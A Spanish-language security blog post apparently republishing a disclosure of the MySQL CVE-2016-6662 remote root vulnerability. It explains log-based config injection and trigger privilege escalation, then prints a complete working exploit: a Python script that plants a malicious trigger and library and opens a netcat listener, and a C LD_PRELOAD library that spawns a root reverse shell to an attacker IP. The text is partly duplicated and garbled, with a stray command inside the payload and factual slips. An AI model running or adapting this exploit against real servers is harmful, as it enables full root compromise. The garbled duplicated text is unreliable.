0-day en MySQL permite ejecución remota de comandos (CVE-2016-6662): con un usuario con privilegios mínimos y "jugando" con el logging
El pasado 29 de agosto el investigador Dawid Golunski informó de varios problemas graves en MySQL, entre ellos una vulnerabilidad que puede ser explotada por atacantes remotos para inyectar configuraciones maliciosas en ficheros my.cnf y derivar en la ejecución de código arbitrario con privilegios de root o, lo que es lo mismo, comprometer completamente al servidor que ejecuta MySQL.
El caso es que los desarrolladores de "sus hermanas menores" MariaDB y PerconaDB ya publicaron sendos parches para solucionarlo, algo que Oracle no ha hecho todavía *increiblemente*. El problema es que al estar los parches disponibles en los repositorios públicos de PerconaDB y MariaDB cualquiera puede empezar a explotar la vulnerabilidad por lo que el investigador se ha apresurado a publicarlo junto con las PoC correspondientes.
La vulnerabilidad detallada es la que tiene el id CVE-2016-6662, que puede ser aprovechada por un atacante que pueda autenticarse directamente contra la base de datos MySQL a través de una conexión de red o un interfaz web como phpMyAdmin, o de forma indirecta a través de una inyección SQL.
Pre-carga de librerías como root
El ataque es efectivo contra la configuración por defecto de todas las releases de MySQL, incluyendo 5.5, 5.6 y 5.7. Concretamente porque todas las versiones usan el script mysqld_safe como un wrapper para iniciar el servicio de MySQL que se ejecuta como root:
Y este script tiene la siguiente función que puede utilizarse para precargar una librería compartida antes de iniciar el servidor:
Esta librería podría ser especificada con el parámetro --malloc-lib=LIB o... directamente en la sección '[mysqld]' o '[mysqld_safe]' del fichero de configuración my.cnf.
Como veis, si un atacante consigue inyectar una línea en ese fichero de configuración podría ser capaz de cargar una librería maliciosa y ejecutar código como root en el momento en que se reinicie el servicio de MySQL. ¿Pero cómo puede un atacante escribir en los ficheros de configuración de mysql? Veamos...
En 2003 se dio a conocer una vulnerabilidad en las versiones de MySQL anteriores a la 3.23.55 que permitía a los usuarios crear archivos de configuración de MySQL con una simple declaración:
El problema se solucionó impidiendo cargar archivos de configuración con permisos de escritura para todo el mundo, que eran los permisos predeterminados aplicados a los archivos creados con la consulta OUTFILE.
Como protección adicional, a las declaraciones OUTFILE / DUMPFILE se les prohibieron además sobrescribir archivos existentes.
Esta vulnerabilidad se dio por solucionada y la escritura en los archivos de configuración considerada imposible. Sin embargo, ahora se ha demostrado que es posible evadir esas restricciones...
Abusando de las funciones de logging de MySQL
1.- Inyectando configuraciones maliciosas en ficheros de configuración de MySQL existentes con permisos débiles. Esto es que es un error que los ficheros de configuración pertenezcan y sean escribibles por el usuario mysql. Por ej.
Si esto es así (como en muchas configuraciones por defecto) un atacante podría ejecutar las siguientes consultas:
Y el resultado de la modificación del fichero de configuración my.cnf sería el siguiente:
Como podéis observar se ha añadido información "basura" del inicio del demonio de MySQL, pero entre medias ya está la sección maliciosa:
Y ahora el script mysqld_safe (que como decimos se ejecuta como root) añadirá a la variable de entorno LD_PRELOAD antes de iniciar el demonio. La librería precargada puede hookear las llamadas de libc fopen() antes de que se procese por mysqld para que arranque correctamente.
2.- Creando nuevos ficheros de configuración en el directorio data de MySQL (escribible por defecto por el usuario mysql), concretamente en:
Por lo que un atacante puede crear los siguientes ficheros de configuración:
/var/lib/mysql/my.cnf (versión 5.5 y 5.6)
/var/lib/mysql/.my.cnf (versión 5.7)
Que, si observáis en el script mysqld_safe, son cargados por defecto:
Si intentamos hacerlo como con la vulnerabilidad de 2013 que comentábamos anteriormente:
no funcionaría, porque MySQL crearía con permisos rw para todo el mundo:
y MySQL impediría cargar ficheros de configuración con estos permisos en el inicio.
Sin embargo, un atacante podría saltarse esto usando las siguientes sentencias SQL de logging:
Estas consultas crearán el fichero my.cnf con los permisos necesarios (sin los bit o-w) para que pueda ser parseado por el demonio de MySQL:
Y el fichero tendrá los siguientes contenidos:
Sin embargo aquí tendremos un problema. MySQL rechazará los archivos que no comienzan con una [sección] no válida:
No obstante, otras "pruebas" demuestran que es posible pasar por alto esta restricción también, aunque no se han dado detalles de momento.
Existe otra vulnerabilidad con un CVEID de CVE-2016-6663 pendiente de la divulgación que supuestamente hará que sea más fácil crear /var/lib/mysql/my.cnf sin el requisito del permiso FILE.
3.- Los atacantes con permisos sólo de SELECT/FILE pueden conseguir acceso a funciones de logging (normalmente sólo disponibles para usuarios administradores de MySQL) en todas las instalaciones por defecto para poder añadir/modificar ficheros de configuración.
Esto puede conseguirse añadiendo el siguiente payload:
en un trigger de una tabla activa ('active_table') y haciendo uso por ej. de una sentencia como;
De esta manera el trigger será cargado cuando se haga un flush de las tablas, cuando se invoque un INSERT:
El código del trigger será ejecutado con los privilegios de root de MySQL y por lo tanto le permitirá al atacante modificar la configuración de general_log a pesar de la falta de privilegios administrativos en su cuenta estándar.
Pruebas de concepto
- 0day 0ldSQL_MySQL_RCE_exploit.py exploit
- mysql_hookandroot_lib.c
Contramedidas
La explotación es posible, incluso si están instalados los módulos de seguridad de Linux como AppArmor y SELinux.
A la espera de que Oracle publique el parche necesario: "Como mitigaciones temporales, los usuarios deben asegurarse de que NO hay archivos de configuración de MySQL propiedad de los usuarios de MySQL, y crear archivos my.cnf ficticios de root que no estén en uso".
Sin embargo recordar: "Estos son de ninguna manera una solución completa y los usuarios deben aplicar los parches oficiales de proveedores tan pronto como estén disponibles."
Fuentes:
- Legal Hackers CVE-2016-6662
- Critical MySQL Vulnerability Disclosed
- Critical MySQL Zero-Day Exposes Servers to Attacks
- MySQL Remote Root Code Execution / Privilege Escalation (0day Exploit) CVE-2016-6662
El caso es que los desarrolladores de "sus hermanas menores" MariaDB y PerconaDB ya publicaron sendos parches para solucionarlo, algo que Oracle no ha hecho todavía *increiblemente*. El problema es que al estar los parches disponibles en los repositorios públicos de PerconaDB y MariaDB cualquiera puede empezar a explotar la vulnerabilidad por lo que el investigador se ha apresurado a publicarlo junto con las PoC correspondientes.
La vulnerabilidad detallada es la que tiene el id CVE-2016-6662, que puede ser aprovechada por un atacante que pueda autenticarse directamente contra la base de datos MySQL a través de una conexión de red o un interfaz web como phpMyAdmin, o de forma indirecta a través de una inyección SQL.
Pre-carga de librerías como root
El ataque es efectivo contra la configuración por defecto de todas las releases de MySQL, incluyendo 5.5, 5.6 y 5.7. Concretamente porque todas las versiones usan el script mysqld_safe como un wrapper para iniciar el servicio de MySQL que se ejecuta como root:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
Y este script tiene la siguiente función que puede utilizarse para precargar una librería compartida antes de iniciar el servidor:
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
Esta librería podría ser especificada con el parámetro --malloc-lib=LIB o... directamente en la sección '[mysqld]' o '[mysqld_safe]' del fichero de configuración my.cnf.
Como veis, si un atacante consigue inyectar una línea en ese fichero de configuración podría ser capaz de cargar una librería maliciosa y ejecutar código como root en el momento en que se reinicie el servicio de MySQL. ¿Pero cómo puede un atacante escribir en los ficheros de configuración de mysql? Veamos...
En 2003 se dio a conocer una vulnerabilidad en las versiones de MySQL anteriores a la 3.23.55 que permitía a los usuarios crear archivos de configuración de MySQL con una simple declaración:
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
El problema se solucionó impidiendo cargar archivos de configuración con permisos de escritura para todo el mundo, que eran los permisos predeterminados aplicados a los archivos creados con la consulta OUTFILE.
Como protección adicional, a las declaraciones OUTFILE / DUMPFILE se les prohibieron además sobrescribir archivos existentes.
Esta vulnerabilidad se dio por solucionada y la escritura en los archivos de configuración considerada imposible. Sin embargo, ahora se ha demostrado que es posible evadir esas restricciones...
Abusando de las funciones de logging de MySQL
1.- Inyectando configuraciones maliciosas en ficheros de configuración de MySQL existentes con permisos débiles. Esto es que es un error que los ficheros de configuración pertenezcan y sean escribibles por el usuario mysql. Por ej.
root@debian:~/# ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
Si esto es así (como en muchas configuraciones por defecto) un atacante podría ejecutar las siguientes consultas:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
Y el resultado de la modificación del fichero de configuración my.cnf sería el siguiente:
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
Como podéis observar se ha añadido información "basura" del inicio del demonio de MySQL, pero entre medias ya está la sección maliciosa:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
Y ahora el script mysqld_safe (que como decimos se ejecuta como root) añadirá a la variable de entorno LD_PRELOAD antes de iniciar el demonio. La librería precargada puede hookear las llamadas de libc fopen() antes de que se procese por mysqld para que arranque correctamente.
2.- Creando nuevos ficheros de configuración en el directorio data de MySQL (escribible por defecto por el usuario mysql), concretamente en:
root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
Por lo que un atacante puede crear los siguientes ficheros de configuración:
/var/lib/mysql/my.cnf (versión 5.5 y 5.6)
/var/lib/mysql/.my.cnf (versión 5.7)
Que, si observáis en el script mysqld_safe, son cargados por defecto:
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
Si intentamos hacerlo como con la vulnerabilidad de 2013 que comentábamos anteriormente:
SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
no funcionaría, porque MySQL crearía con permisos rw para todo el mundo:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
y MySQL impediría cargar ficheros de configuración con estos permisos en el inicio.
Sin embargo, un atacante podría saltarse esto usando las siguientes sentencias SQL de logging:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
Estas consultas crearán el fichero my.cnf con los permisos necesarios (sin los bit o-w) para que pueda ser parseado por el demonio de MySQL:
ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
Y el fichero tendrá los siguientes contenidos:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
Sin embargo aquí tendremos un problema. MySQL rechazará los archivos que no comienzan con una [sección] no válida:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted
No obstante, otras "pruebas" demuestran que es posible pasar por alto esta restricción también, aunque no se han dado detalles de momento.
Existe otra vulnerabilidad con un CVEID de CVE-2016-6663 pendiente de la divulgación que supuestamente hará que sea más fácil crear /var/lib/mysql/my.cnf sin el requisito del permiso FILE.
3.- Los atacantes con permisos sólo de SELECT/FILE pueden conseguir acceso a funciones de logging (normalmente sólo disponibles para usuarios administradores de MySQL) en todas las instalaciones por defecto para poder añadir/modificar ficheros de configuración.
Esto puede conseguirse añadiendo el siguiente payload:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
en un trigger de una tabla activa ('active_table') y haciendo uso por ej. de una sentencia como;
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
De esta manera el trigger será cargado cuando se haga un flush de las tablas, cuando se invoque un INSERT:
INSERT INTO `active_table` VALUES('xyz');
El código del trigger será ejecutado con los privilegios de root de MySQL y por lo tanto le permitirá al atacante modificar la configuración de general_log a pesar de la falta de privilegios administrativos en su cuenta estándar.
Pruebas de concepto
- 0day 0ldSQL_MySQL_RCE_exploit.py exploit
#!/usr/bin/python
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
ej. attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
- mysql_hookandroot_lib.c
/*
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c
This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.
mysqld_safe will load this library through the following setting:
[mysqld]
malloc_lib=mysql_hookandroot_lib.so
in one of the my.cnf config files (e.g. /etc/my.cnf).
This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.
Before compiling adjust IP / PORT and config path.
~~
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
~~
Compilation (remember to choose settings compatible with the remote OS/arch):
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
Contramedidas
La explotación es posible, incluso si están instalados los módulos de seguridad de Linux como AppArmor y SELinux.
A la espera de que Oracle publique el parche necesario: "Como mitigaciones temporales, los usuarios deben asegurarse de que NO hay archivos de configuración de MySQL propiedad de los usuarios de MySQL, y crear archivos my.cnf ficticios de root que no estén en uso".
Sin embargo recordar: "Estos son de ninguna manera una solución completa y los usuarios deben aplicar los parches oficiales de proveedores tan pronto como estén disponibles."
Fuentes:
- Legal Hackers CVE-2016-6662
- Critical MySQL Vulnerability Disclosed
- Critical MySQL Zero-Day Exposes Servers to Attacks
- MySQL Remote Root Code Execution / Privilege Escalation (0day Exploit) CVE-2016-6662
La solución es proteger el fichero my.cnf asi mitigas el exploit porque no puede escribir la config necesaria para cargar la libreria. chattr +i /etc/my.cnf
ResponderEliminarTambien añadir la config para evitar el acceso a ficheros del sistema :
ResponderEliminarsecure-file-priv=/tmp
gracias por las contramedidas Kamai
ResponderEliminarComo siempre muy buena información Sr Vicente.
ResponderEliminar